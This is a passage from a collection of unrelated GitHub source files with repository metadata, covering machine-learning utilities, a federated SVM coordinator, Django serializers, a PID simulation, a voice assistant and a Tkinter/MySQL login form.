'085343396393'\ndown_revision = '9c95f00565e4'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('app_data', sa.Column('host', sa.String(), nullable=True))\n op.add_column('app_data', sa.Column('scan_id', sa.Integer(), nullable=True))\n op.add_column('port_data', sa.Column('host', sa.String(), nullable=True))\n op.add_column('port_data', sa.Column('scan_id', sa.Integer(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('port_data', 'scan_id')\n op.drop_column('port_data', 'host')\n op.drop_column('app_data', 'scan_id')\n op.drop_column('app_data', 'host')\n # ### end Alembic commands ###\n","repo_name":"bmarsh9/scan7","sub_path":"migrations/versions/085343396393_.py","file_name":"085343396393_.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"9306156155","text":"import queue\n\nfrom sympy import Interval, Union\n\n# input set of string ex: (\"Giovanni Mazzucco\", \"Lorenzo Gastaldi\",...)\ndef precion_and_recall_between_two_sets_exact_match(set_predicted, set_gold):\n intersection = set_predicted.intersection(set_gold)\n if len(intersection) == 0:\n return 0, 0, \"\", []\n prec = len(intersection) / len(set_predicted)\n rec = len(intersection) / len(set_gold)\n string_result = f\"tp: {len(intersection)},fp: {len(set_predicted)-len(intersection)}, \" \\\n f\"fn:{len(set_gold)- len(intersection)}\"\n return prec, rec, string_result, intersection\n\n\ndef precision_and_recall_between_two_sets_partial_match_using_in(set_predicted, set_gold):\n pred = list(set_predicted)\n gold = list(set_gold)\n list_output = []\n tp = 0\n for word in gold:\n # estraggo tutti i partial match tra word e il dataset predetto\n r = [v for v in pred if word in v or v in word]\n #print(f\"partial match: {word} -> {r}\")\n # se c'è almeno un partial match incremento true positive\n if len(r) > 0:\n tp += 1\n list_output.append((word,r))\n if tp == 0:\n return 0,0, \"\", []\n prec = tp/ len(set_predicted)\n rec = tp/ len(set_gold)\n string_result = f\"tp: {tp},fp: {len(set_predicted)-tp}, \" \\\n f\"fn:{len(set_gold)- tp}\"\n return prec, rec, string_result, list_output","repo_name":"Pep12345/hsg","sub_path":"main/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11864604469","text":"import nltk\nfrom nltk.corpus import stopwords\nfrom copy import copy\nimport math \nimport re \n\nlemma = nltk.WordNetLemmatizer()\nstopWords = set(stopwords.words(\"english\"))\nD = [] # A pre-loaded list of different domains and their corpus\n\ndef extract_pattern(tokens, tags, pattern):\n extracted = []\n for i in range(len(tags) - len(pattern) + 1):\n match = True\n for j in range(len(pattern)):\n index = i + j\n if tags[index] not in pattern[j]:\n match = False\n break \n if match:\n extracted += [tuple([tokens[x] for x in range(i, i+len(pattern))])]\n\n return extracted\n\n\ndef extract_terminologies(corpus, D):\n global lemma\n global stopWords\n word_tokens = nltk.word_tokenize(corpus)\n word_tokens = [lemma.lemmatize(x).lower() for x in word_tokens if x not in stopWords]\n corpus = ' '.join(word_tokens)\n word_tags = [x[1] for x in nltk.pos_tag(word_tokens)]\n word_pool = extract_pattern(word_tokens, word_tags, [[\"NN\"], [\"NN\"]])\n word_pool += extract_pattern(word_tokens, word_tags, [[\"JJ\"], [\"NN\"]])\n word_pool += extract_pattern(word_tokens, word_tags, [[\"NN\"], [\"IN\"], [\"NN\"]])\n word_pool = list(set(word_pool))\n word_pool_str = [(' '.join(x)).strip() for x in word_pool]\n D = copy(D)\n \n D += [corpus]\n scores = [0] * len(word_pool)\n max_freq = [0] * len(word_pool)\n total_freq = [0] * len(word_pool)\n consensus = [0] * len(word_pool)\n\n for document in D:\n max_freq = [max(max_freq[i], len(list(re.finditer(word_pool_str[i], document)))) for i in range(len(word_pool))]\n total_freq = [a+b for a,b in \n zip(total_freq, [len(list(re.finditer(word_pool_str[i], document)))\n for i in range(len(word_pool))])]\n print(list(zip(word_pool_str, total_freq)))\n for document in D:\n c_w = []\n for i in range(len(word_pool)):\n f_w = len(list(re.finditer(word_pool_str[i], document)))\n if f_w > 0:\n c_w += [(f_w/total_freq[i]) * -math.log((f_w/total_freq[i]))]\n else:\n c_w += [0]\n consensus = [a+b for a,b in \n zip(consensus, c_w)]\n\n scores = [len(list(re.finditer(word_pool_str[i], corpus)))/max_freq[i] + consensus[i] for i in range(len(word_pool))] # Needs further work\n print(scores)\n return word_pool\n\nprint(extract_terminologies(\"\"\"\nAs machines become increasingly capable, tasks considered to require \"intelligence\" are often removed from the definition of AI, a phenomenon known as the AI effect. A quip in Tesler's Theorem says \"AI is whatever hasn't been done yet.\" For instance, optical character recognition is frequently excluded from things considered to be AI, having become a routine technology. Modern machine capabilities generally classified as AI include successfully understanding human speech, competing at the highest level in strategic game systems (such as chess and Go),autonomously operating cars, intelligent routing in content delivery networks, and military simulations.\nArtificial intelligence can be classified into three different types of systems: analytical, human-inspired, and humanized artificial intelligence. Analytical AI has only characteristics consistent with cognitive intelligence; generating cognitive representation of the world and using learning based on past experience to inform future decisions. Human-inspired AI has elements from cognitive and emotional intelligence; understanding human emotions, in addition to cognitive elements, and considering them in their decision making. Humanized AI shows characteristics of all types of competencies (i.e., cognitive, emotional, and social intelligence), is able to be self-conscious and is self-aware in interactions with others.\n\"\"\",[(\"artificial intelligence artificial intelligence artificial intelligence\")]))\n\n\n\n","repo_name":"jinhongkuan/Webspinner","sub_path":"literature/syntacticlearner/term_extractor.py","file_name":"term_extractor.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22875971354","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom ..builder import LOSSES\nfrom mmcv.runner import get_dist_info\nfrom mmaction.core.hooks.fp16_utils import force_fp32\nfrom mmaction.models.utils.gather_loss import GatherLoss, VariedShapeGatherLoss\n\n\ndef sim_matrix(a, b, eps=1e-8):\n \"\"\"\n added eps for numerical stability\n \"\"\"\n a_n, b_n = a.norm(dim=-1)[:, None], b.norm(dim=-1)[:, None]\n a_norm = a / torch.max(a_n, eps * torch.ones_like(a_n))\n b_norm = b / torch.max(b_n, eps * torch.ones_like(b_n))\n sim_mt = torch.matmul(a_norm, b_norm.transpose(0, 1))\n return sim_mt\n\ndef cos_norm(a, eps=1e-8):\n if a is None:\n return a\n a_n = a.norm(dim=-1)[:, None]\n a_norm = a / torch.max(a_n, eps * torch.ones_like(a_n))\n return a_norm\n\n\n@LOSSES.register_module()\nclass NormSoftmaxLoss(nn.Module):\n def __init__(self, temperature=0.07, cos_sim=False):\n super().__init__()\n self.t = temperature\n self.use_cos_similarity = cos_sim\n self.allgather = GatherLoss.apply\n self.rank, self.world_size = get_dist_info()\n if self.use_cos_similarity:\n print(\"use cosine similarity\")\n self.fp16_enabled = False\n\n @force_fp32()\n def forward(self, video_embd=None, text_embd=None, sim_mat=None):\n if sim_mat is None: \n video_embd = self.allgather(video_embd, self.rank, self.world_size)\n text_embd = self.allgather(text_embd, self.rank, self.world_size)\n\n # video_embd shape: B x D\n # text_embd shape: B x D\n if self.use_cos_similarity:\n x = sim_matrix(video_embd, text_embd) / self.t\n else:\n video_embd = F.normalize(video_embd, dim=-1)\n text_embd = F.normalize(text_embd, dim=-1)\n x = torch.matmul(video_embd, text_embd.t()) / self.t\n \"Assumes input x is similarity matrix of N x M \\in [-1, 1], computed using the cosine similarity between normalised vectors\"\n else:\n x = sim_mat\n \n i_logsm = F.log_softmax(x, dim=1)\n j_logsm = F.log_softmax(x.t(), dim=1)\n\n # sum over positives\n idiag = torch.diag(i_logsm)\n loss_i = idiag.sum() / len(idiag)\n\n jdiag = torch.diag(j_logsm)\n loss_j = jdiag.sum() / len(jdiag)\n\n return - loss_i - loss_j\n\n\n@LOSSES.register_module()\nclass ExclusiveNCEwithRankingLoss(nn.Module):\n def __init__(self, temperature=0.05, use_rank=False, use_rank_ttm=True, use_rank_trtm=True, margin_ttm=5., margin_trtm=10.,):\n super().__init__()\n self.t = temperature\n self.allgather = VariedShapeGatherLoss.apply\n self.rank, self.world_size = get_dist_info()\n self.margin_ttm = margin_ttm\n self.margin_trtm = margin_trtm\n self.use_rank = use_rank\n self.use_rank_ttm = use_rank_ttm\n self.use_rank_trtm = use_rank_trtm\n if self.use_rank_ttm:\n self.margin_ranking_ttm = nn.MarginRankingLoss(self.margin_ttm)\n if self.use_rank_trtm:\n self.margin_ranking_trtm = nn.MarginRankingLoss(self.margin_trtm)\n self.fp16_enabled = False\n\n def compute_loss(self, sim_mat, reverse=True):\n i_logsm = F.log_softmax(sim_mat, dim=1)\n idiag = torch.diag(i_logsm)\n loss_i = idiag.sum() / len(idiag)\n if reverse:\n j_logsm = F.log_softmax(sim_mat.t(), dim=1)\n jdiag = torch.diag(j_logsm)\n loss_j = jdiag.sum() / len(jdiag)\n else:\n loss_j = 0\n return - loss_i - loss_j\n\n\n @force_fp32()\n def forward(self, video_embd=None, text_embd=None, text_mask_embd=None, text_recon_embd=None, **kwargs):\n # all_gather from other gpu # \n video_embd = self.allgather(video_embd, self.rank, self.world_size) if video_embd is not None else None\n text_embd = self.allgather(text_embd, self.rank, self.world_size) if text_embd is not None else None\n text_mask_embd = self.allgather(text_mask_embd, self.rank, self.world_size) if text_mask_embd is not None else None\n text_recon_embd = self.allgather(text_recon_embd, self.rank, self.world_size) if text_recon_embd is not None else None\n\n losses = {}\n\n # video_embd shape: B x D\n # text_all_embd shape: 3B x D\n video_embd_norm = cos_norm(video_embd)\n text_embd_norm = cos_norm(text_embd)\n text_mask_embd_norm = cos_norm(text_mask_embd)\n text_recon_embd_norm = cos_norm(text_recon_embd)\n\n sim_vt = torch.matmul(video_embd_norm, text_embd_norm.t()) / self.t\n sim_vtm = torch.matmul(video_embd_norm, text_mask_embd_norm.t()) / self.t\n sim_vtr = torch.matmul(video_embd_norm, text_recon_embd_norm.t()) / self.t\n\n vt_diag = torch.diag(sim_vt)\n vtm_diag = torch.diag(sim_vtm)\n vtr_diag = torch.diag(sim_vtr)\n # x: B, B, 3\n #### exclusive-Nce V -> [T, T_mask, T_reconstruct] ####\n\n # v2t\n v2t_forvt = torch.cat([sim_vt, sim_vtm - (torch.diag_embed(vtm_diag + 10000.)), sim_vtr - (torch.diag_embed(vtr_diag + 10000.))], dim=1) # B, 3B\n v2t_forvtm = torch.cat([sim_vt - (torch.diag_embed(vt_diag + 10000.)), sim_vtm, sim_vtr - (torch.diag_embed(vtr_diag + 10000.))], dim=1) # B, 3B\n v2t_forvtr = torch.cat([sim_vt - (torch.diag_embed(vt_diag + 10000.)), sim_vtm - (torch.diag_embed(vtm_diag + 10000.)), sim_vtr], dim=1) # B, 3B\n\n B = v2t_forvt.size()[0]\n\n vt_logsm = F.log_softmax(v2t_forvt, dim=1)[:, :B]\n vtm_logsm = F.log_softmax(v2t_forvtm, dim=1)[:, B:2*B]\n vtr_logsm = F.log_softmax(v2t_forvtr, dim=1)[:, 2*B:3*B]\n\n vtall_diag = torch.diag(vt_logsm) + torch.diag(vtm_logsm) + torch.diag(vtr_logsm)\n loss_v = - (vtall_diag.sum() / len(vtall_diag))\n \n\n # t2v\n t2v = torch.cat([sim_vt, sim_vtm, sim_vtr], dim=1).t()\n t2v_logsm = F.log_softmax(t2v, dim=1) # 3B, B \n t2v_logsm = t2v_logsm.view(-1, t2v.shape[1], t2v.shape[1]) # 3, B, B\n t2v_diag = t2v_logsm.diagonal(dim1=1, dim2=2) # 3, B\n t2v_value = t2v_diag.mean(dim=1) # 3\n loss_t = -torch.mean(t2v_value)\n losses['nce_loss'] = loss_v + loss_t\n\n\n #### rank loss #####\n if self.use_rank:\n y = torch.ones(vt_diag.size(), dtype=torch.long, device=vt_diag.device)\n if self.use_rank_ttm:\n loss_t_tm = self.margin_ranking_ttm(vt_diag, vtm_diag, y)\n losses['rank_t_tm_loss'] = loss_t_tm\n\n return losses\n\n\n\n","repo_name":"LeeYN-43/Clover","sub_path":"mmaction/models/losses/contrastive_loss.py","file_name":"contrastive_loss.py","file_ext":"py","file_size_in_byte":6589,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"62"} +{"seq_id":"2541217804","text":"\r\nimport pyttsx3\r\nimport datetime\r\nimport speech_recognition as sr\r\nimport wikipedia\r\nengine=pyttsx3.init(\"sapi5\")\r\nvoices=engine.getProperty(\"voices\")\r\nprint(voices[1].id)\r\nengine.setProperty(\"voice\",voices[1].id)\r\n\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\n\r\ndef wishme():\r\n wish=int(datetime.datetime.now().hour)\r\n if wish>=0 and wish<=12:\r\n speak(\"Good morning\")\r\n elif wish>12 and wish<=18:\r\n speak(\"good afternoon\")\r\n else:\r\n speak(\"Good Evening\")\r\n speak(\"Natasha here you are so crazy Arbaz tell me how can i help you.\")\r\n\r\ndef takeinput():\r\n r=sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\"Listening......\")\r\n r.pause_threshold =1\r\n audio=r.listen(source)\r\n try:\r\n print(\"recognizing.....\")\r\n query=r.recognize_google(audio,language=\"en-in\")\r\n print(f\"user said:{query}\\n\")\r\n except Exception as e:\r\n #print(e)\r\n print(\"say that again\")\r\n return \"None\" \r\n return query\r\n\r\nif __name__==\"__main__\":\r\n wishme()\r\n while True:\r\n query=takeinput().lower()\r\n if \"wikipedia\" in query:\r\n speak(\"searching wikipedia\")\r\n query=query.replace(\"wikipedia\",\"\")\r\n output=wikipedia.summary(query,sentences=2)\r\n speak(output)\r\n print(output)\r\n \r\n \r\n","repo_name":"arbaz844/edith","sub_path":"lily.py","file_name":"lily.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74424334276","text":"import src\nfrom setuptools import setup, find_packages\n\nwith open('README.md', encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name=\"bis_speeches_text_dataset\",\n version='0.1',\n author='Jihye Park',\n author_email='jihyeparkk@dm.snu.ac.kr',\n url='https://github.com/sophia-jihye/bis_speeches_text_dataset',\n description=\"Scraping Text Data of Central bankers' Speeches from bis.org\",\n long_description=long_description,\n long_description_content_type='text/markdown',\n keywords = ['bis', 'central bankers speeches'],\n packages=find_packages()\n)","repo_name":"sophia-jihye/Speech_Transcripts_of_Central_Bankers","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"24331065074","text":"import cv2,json,re\r\nimport numpy as np\r\nimport math as mt\r\n#パーツのトリミング範囲を格納 x+420,y+110 C x+115,y+20\r\nwith open(\"./parts_list.json\") as f:\r\n parts_list = json.load(f)[\"R_C\"]\r\n\r\ndef HsvRange(hsv_median):\r\n tflist2 = []\r\n #カラーコード定義\r\n with open(\"./c_code.json\") as f:\r\n c_code = json.load(f)\r\n for (l,u) in zip(c_code[\"lower\"],c_code[\"upper\"]):\r\n tflist1 = []\r\n for i in range(3):\r\n tflist1.append(c_code[\"lower\"][l][i] <= hsv_median[i] <= c_code[\"upper\"][u][i])\r\n tflist2.append(np.all(tflist1))\r\n if tflist2.count(True) == 1:#Trueの数が1のときだけ読むことで複数のTrueになってる場所を除外\r\n return tflist2.index(True)\r\ndef TRIM():\r\n #画像読み込み\r\n img = cv2.imread(\"./in_img/img_ic.jpg\")\r\n for i in range(1,12):\r\n #スライス処理(トリミング[y1:y2, x1:x2]\r\n #img[top : bottom, left : right]左の形式に変換(x1=240,y1=250)(x2=660,y2=360)\r\n img_trim = img[parts_list[f\"R{i}\"][1]:parts_list[f\"R{i}\"][3],parts_list[f\"R{i}\"][0]:parts_list[f\"R{i}\"][2]]\r\n hsv_img = cv2.cvtColor(img_trim, cv2.COLOR_BGR2HSV)\r\n R_code = []\r\n old_color = 10\r\n for j in reversed(range(hsv_img.shape[1])):\r\n H_medi = mt.floor(np.median(hsv_img[:,j][:,0]))\r\n S_medi = mt.floor(np.median(hsv_img[:,j][:,1]))\r\n V_medi = mt.floor(np.median(hsv_img[:,j][:,2]))\r\n HSV_median = [H_medi,S_medi,V_medi]\r\n now_color = HsvRange(HSV_median)\r\n if now_color != 10 and now_color != None:\r\n if old_color == now_color:\r\n pass\r\n else:\r\n R_code.append(now_color)\r\n old_color = now_color\r\n print(f\"R{i}_ColorCode={R_code}\")\r\n\r\n \r\n \r\nTRIM()\r\n\r\n","repo_name":"chekke1999/kaihatukadai","sub_path":"FreezeProject/trimming/trimming.py","file_name":"trimming.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2569793674","text":"from sklearn. feature_extraction.text import TfidfVectorizer\nfrom keras.utils.np_utils import to_categorical\n\ndef vectorizing(train_texts, test_texts, train_labels):\n \"\"\"TF-IDF向量化\"\"\"\n vectorizer = TfidfVectorizer(max_features=10000)\n train_vector = vectorizer.fit_transform(train_texts)\n test_vector = vectorizer.transform(test_texts)\n one_hot_train_labels = to_categorical(train_labels)\n return train_vector,test_vector,one_hot_train_labels","repo_name":"UniqueMR/Machine-Learning-HUST","sub_path":"NeuralNetwork/news/vectorizer.py","file_name":"vectorizer.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"9980837654","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ndef remove_highly_correlated_features(dataframes_dict, threshold1=0.90, print_output=True, plot_heatmap=False):\n \"\"\"\n Processes a dictionary of DataFrames to remove features that are highly correlated with other features.\n High correlations among features can cause multicollinearity issues in certain models, so it can be beneficial to\n remove such features during data preprocessing.\n\n Parameters:\n - dataframes_dict (dict): A dictionary where keys are strings representing the names (or types) of DataFrames, and\n values are the corresponding pandas DataFrames.\n\n - threshold (float, optional): The correlation coefficient threshold above which features will be considered highly\n correlated and thus will be removed. Default is 0.90.\n\n - print_output (bool, optional): If set to True (default), the function will print the shape of each DataFrame after\n removal of highly correlated features, as well as the names of the removed columns. If set to False, no output\n will be printed.\n\n - plot_heatmap (bool, optional): If set to True, the function will plot a heatmap of the correlation matrix for each\n DataFrame. This can be useful for visual inspection of correlations among features. Default is False.\n\n Returns:\n - tuple: A tuple containing two items:\n - dataframes_dict (dict): The input dictionary with highly correlated features removed from each DataFrame.\n - dropped_features (dict): A dictionary where keys are the same as the input dictionary, and values are lists of\n feature names that were dropped due to high correlation.\n \"\"\"\n dropped_features = {}\n\n for omic, df6 in dataframes_dict.items():\n\n # Calculate the correlation matrix\n corr_matrix = df6.corr().abs()\n\n # Create a mask to identify highly correlated features\n upper = corr_matrix.where(np.triu(np.ones(corr_matrix.shape), k=1).astype(bool))\n to_drop = [column for column in upper.columns if any(upper[column] > threshold1)]\n\n # Plot the heatmap if required\n if plot_heatmap:\n plt.figure(figsize=(12, 10))\n sns.heatmap(corr_matrix, cmap='coolwarm', vmin=-1, vmax=1)\n plt.title(f\"Heatmap of Correlation for {omic}\")\n plt.show()\n\n # Drop the highly correlated features\n df_filtered = df6.drop(columns=to_drop)\n\n # Store the list of removed features\n dropped_features[omic] = to_drop\n\n # Update the DataFrame in dataframes_dict\n dataframes_dict[omic] = df_filtered\n\n num_dropped = len(to_drop)\n\n if print_output:\n print(f\"{omic} after removing highly correlated features: {df_filtered.shape}\")\n print(f\"Number of features dropped in {omic}: {num_dropped}\")\n if num_dropped > 0:\n print(f\"Features dropped in {omic}: {', '.join(to_drop)}\\n\")\n\n return dataframes_dict, dropped_features","repo_name":"CereAle99/tesi","sub_path":"early_relapse/lib/remove_high_corr_feats.py","file_name":"remove_high_corr_feats.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4368392063","text":"import face_recognition\n\ndef predict(X_img_path, knn_clf=None, distance_threshold=0.8):\n \n # Load image file and find face locations\n #X_img = face_recognition.load_image_file(X_img_path)\n X_face_locations = face_recognition.face_locations(X_img_path)\n\n # If no faces are found in the image, return an empty result.\n if len(X_face_locations) == 0:\n return []\n\n # Find encodings for faces in the test iamge\n faces_encodings = face_recognition.face_encodings(X_img_path, known_face_locations=X_face_locations)\n\n # Use the KNN model to find the best matches for the test face\n closest_distances = knn_clf.kneighbors(faces_encodings, n_neighbors=1)\n are_matches = [closest_distances[0][i][0] <= distance_threshold for i in range(len(X_face_locations))]\n\n # Predict classes and remove classifications that aren't within the threshold\n return [pred if rec else \"unknown\" for pred, loc, rec in zip(knn_clf.predict(faces_encodings), X_face_locations, are_matches)]","repo_name":"danishshirsangi/face-recognition-attendance-system","sub_path":"student/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4098482851","text":"from rest_framework import serializers\nfrom booking import models\n\n\nclass ReservationSerializer(serializers.ModelSerializer):\n seats = serializers.SerializerMethodField()\n\n class Meta:\n model = models.Reservation\n fields = [\n \"reservation_number\",\n \"seats\",\n \"customer_id\",\n ]\n\n def get_seats(self, obj):\n return [f\"{x.row}{x.place}\" for x in obj.reservation_seats.all()]\n\n\nclass MovieSerializer(serializers.ModelSerializer):\n class Meta:\n model = models.Movie\n fields = [\"title\"]\n\n\nclass TheatreSerializer(serializers.ModelSerializer):\n class Meta:\n model = models.Theatre\n fields = [\"theatre_id\"]\n\n\nclass ScreeningSerializer(serializers.ModelSerializer):\n theatre = TheatreSerializer(read_only=True)\n movie = MovieSerializer(read_only=True)\n reservations = ReservationSerializer(many=True, read_only=True)\n free_seats = serializers.SerializerMethodField()\n\n class Meta:\n model = models.Screening\n fields = [\n \"screening_id\",\n \"theatre\",\n \"movie\",\n \"reservations\",\n \"free_seats\",\n ]\n\n def get_free_seats(self, obj):\n screening = obj.to_domain()\n return [seat.row + str(seat.place) for seat in screening._free_seats]\n\n\nclass ScreeningListSerializer(serializers.ModelSerializer):\n movie = serializers.SerializerMethodField()\n\n class Meta:\n model = models.Screening\n fields = [\n \"screening_id\",\n \"movie\",\n ]\n\n def get_movie(self, obj):\n return obj.movie.title\n","repo_name":"pawelkuk/dibs","sub_path":"src/api/booking/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"157802407","text":"from flask import Flask\nfrom xmlrpc.server import SimpleXMLRPCServer\nfrom xmlrpc.server import SimpleXMLRPCRequestHandler\nfrom sklearn.datasets import fetch_openml\nfrom sklearn.utils import shuffle\nfrom sklearn.svm import LinearSVC\nfrom sklearn.metrics import accuracy_score, f1_score, matthews_corrcoef, confusion_matrix\nfrom threading import Thread\nimport pandas as pd\nimport joblib\nimport os\n\n\nclass CustomXMLRPCRequestHandler(SimpleXMLRPCRequestHandler):\n def do_POST(self):\n self.server.client_address = self.client_address\n super().do_POST()\n\n\nmnist = fetch_openml('mnist_784')\napp = Flask(__name__)\nnodes = {}\nserver = SimpleXMLRPCServer(('0.0.0.0', 9090), requestHandler=CustomXMLRPCRequestHandler)\nserver.register_introspection_functions()\n\ntraining_started = False\n\n\ndef load_client_ranks_from_csv(file_name):\n df = pd.read_csv(file_name)\n ranks = dict(zip(df['client_id'], df['rank']))\n return ranks\n\n\nclient_ranks = load_client_ranks_from_csv('rank.csv')\n\nshuffled_data, shuffled_target = shuffle(mnist.data, mnist.target, random_state=42)\n\n\ndef get_mnist(client_id):\n node_id = server.client_address[0]\n nodes[node_id] = {'status': 'working'}\n proportion = client_ranks.get(client_id, 0.2)\n\n total_data_size = len(shuffled_data)\n start_index = int((client_ranks[client_id] - 0.2) * 2 * total_data_size)\n end_index = start_index + int(proportion * total_data_size)\n\n return shuffled_data.iloc[start_index:end_index].values.tolist(), shuffled_target.iloc[\n start_index:end_index].values.tolist()\n\n\nserver.register_function(get_mnist, 'get_mnist')\n\n\ndef mark_training_complete(node_id):\n nodes[node_id]['status'] = 'finished'\n return True\n\n\nserver.register_function(mark_training_complete, 'mark_training_complete')\n\nmodels_received = 0\n\n\ndef upload_model(model_binary, client_id):\n global models_received\n filename = f\"{client_id}_model.pkl\"\n with open(filename, 'wb') as f:\n f.write(model_binary.data)\n print(f\"Model from {client_id} dumped in dispatcher as {filename}.\")\n\n models_received += 1\n if models_received == 5:\n ensemble_and_evaluate()\n\n return True\n\n\nserver.register_function(upload_model, 'upload_model')\n\n\ndef ensemble_and_evaluate():\n # Load the SVM models\n models = []\n for client_id in [\"client1\", \"client2\", \"client3\", \"client4\", \"client5\"]:\n model_name = f\"{client_id}_model.pkl\" # Assuming the coordinator knows the IP of each client\n if os.path.exists(model_name): # Check if the model exists before loading\n models.append(joblib.load(model_name))\n else:\n print(f\"Model for {client_id} not found.\")\n return\n\n X_test, y_test = shuffled_data.iloc[int(0.7 * len(shuffled_data)):].values.tolist(), shuffled_target.iloc[\n int(0.7 * len(\n shuffled_data)):].values.tolist()\n\n # Voting based prediction\n predictions = []\n for x in X_test:\n votes = [model.predict([x])[0] for model in models]\n predictions.append(max(set(votes), key=votes.count))\n\n # Print evaluation metrics\n print(f\"Accuracy: {accuracy_score(y_test, predictions)}\")\n print(f\"F1 Score: {f1_score(y_test, predictions, average='macro')}\")\n print(f\"Matthews Correlation Coefficient: {matthews_corrcoef(y_test, predictions)}\")\n print(f\"Confusion Matrix:\\n{confusion_matrix(y_test, predictions)}\")\n\n\ndef should_start_training():\n return training_started\n\n\nserver.register_function(should_start_training, 'should_start_training')\n\n\n@app.route('/')\ndef index():\n return \"Coordinator is running\"\n\n\ndef run_rpc_server():\n global training_started\n print(\"Dispatcher RPC Server is running...\")\n\n while True:\n start = input(\"Enter 'start' to begin training on all clients: \")\n if start.strip().lower() == 'start':\n training_started = True\n break\n\n server.serve_forever()\n\n\nif __name__ == '__main__':\n rpc_thread = Thread(target=run_rpc_server)\n rpc_thread.start()\n app.run(host='0.0.0.0', port=5050)\n","repo_name":"KeyangYu/dispatcher","sub_path":"SVM/coordinator.py","file_name":"coordinator.py","file_ext":"py","file_size_in_byte":4293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40332669866","text":"import matplotlib.pyplot as plt\nfrom PID import PID\n\nx0 = 20\n\nx = []\n\nu = []\n\nt = []\n\ne = []\ndelta_t = 0.01\n\nt_max = 100\n\nt_current = 0.0\n\ni = 0\n\npid = PID(\n proportional=0.1,\n integral=0.1,\n differential=0.01,\n period=delta_t,\n min_value=-100.0,\n max_value=100.0,\n formula='pid'\n)\n\nwhile t_current < t_max:\n t.append(t_current)\n x.append(\n 20\n #t_current\n )\n e.append(x0 - x[i])\n u.append(pid.next_value(e[i]))\n i += 1\n t_current += delta_t\n\nplt.plot(t, u)\nplt.xlabel('t')\nplt.ylabel('u(t)')\nplt.show()\n","repo_name":"Myshj/tuts_lab_3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71854223239","text":"from tkinter import *\r\nfrom PIL import ImageTk\r\nfrom tkinter import messagebox\r\nimport pymysql\r\n\r\n\r\nclass Login:\r\n def __init__(self, root):\r\n self.root = root\r\n self.root.title(\"Login y Sign in\")\r\n self.root.geometry(\"1366x700+0+0\")\r\n self.root.resizable(False, False)\r\n self.loginform()\r\n\r\n def loginform(self):\r\n Frame_login = Frame(self.root, bg=\"black\")\r\n Frame_login.place(x=0, y=0, height=700, width=1366)\r\n self.img = ImageTk.PhotoImage(file=\"background-2.png\")\r\n img = Label(Frame_login, image=self.img).place(x=0, y=0, width=1366, height=700)\r\n\r\n frame_input = Frame(self.root, bg='black')\r\n frame_input.place(x=320, y=130, height=450, width=400)\r\n\r\n label1 = Label(frame_input, text=\"Login\", font=('courier', 32, 'bold'), fg=\"cyan\", bg='black')\r\n label1.place(x=75, y=20)\r\n\r\n label2 = Label(frame_input, text=\"Usuario\", font=(\"courier\", 20, \"bold\"), fg='cyan', bg='black')\r\n label2.place(x=30, y=95)\r\n\r\n self.email_txt = Entry(frame_input, font=(\"courier\", 15, \"bold\"), bg='white')\r\n self.email_txt.place(x=30, y=145, width=270, height=35)\r\n\r\n label3 = Label(frame_input, text=\"Contraseña\", font=(\"courier\", 20, \"bold\"), fg='cyan', bg='black')\r\n label3.place(x=30, y=195)\r\n\r\n self.password = Entry(frame_input, font=(\"courier\", 15, \"bold\"), bg='white',show='*')\r\n self.password.place(x=30, y=245, width=270, height=35)\r\n\r\n\r\n btn2 = Button(frame_input, text=\"Login\", command=self.login, cursor=\"hand2\", font=(\"courier\", 15), fg=\"black\", bg=\"cyan\", bd=0, width=10, height=3)\r\n btn2.place(x=0, y=350)\r\n\r\n btn3 = Button(frame_input, command=self.Register, text=\"Registro\", cursor=\"hand2\", font=(\"courier\", 15), bg='cyan', fg=\"black\", bd=0, width=10, height=3)\r\n btn3.place(x=200, y=350)\r\n\r\n def login(self):\r\n if self.email_txt.get() == \"\" or self.password.get() == \"\":\r\n messagebox.showerror(\"Error\", \"All fields are required\", parent=self.root)\r\n else:\r\n try:\r\n con = pymysql.connect(host='localhost', user='root', password='', database='login')\r\n cur = con.cursor()\r\n cur.execute('select * from logintbl where user=%s and pwd=%s', (self.email_txt.get(), self.password.get()))\r\n row = cur.fetchone()\r\n if 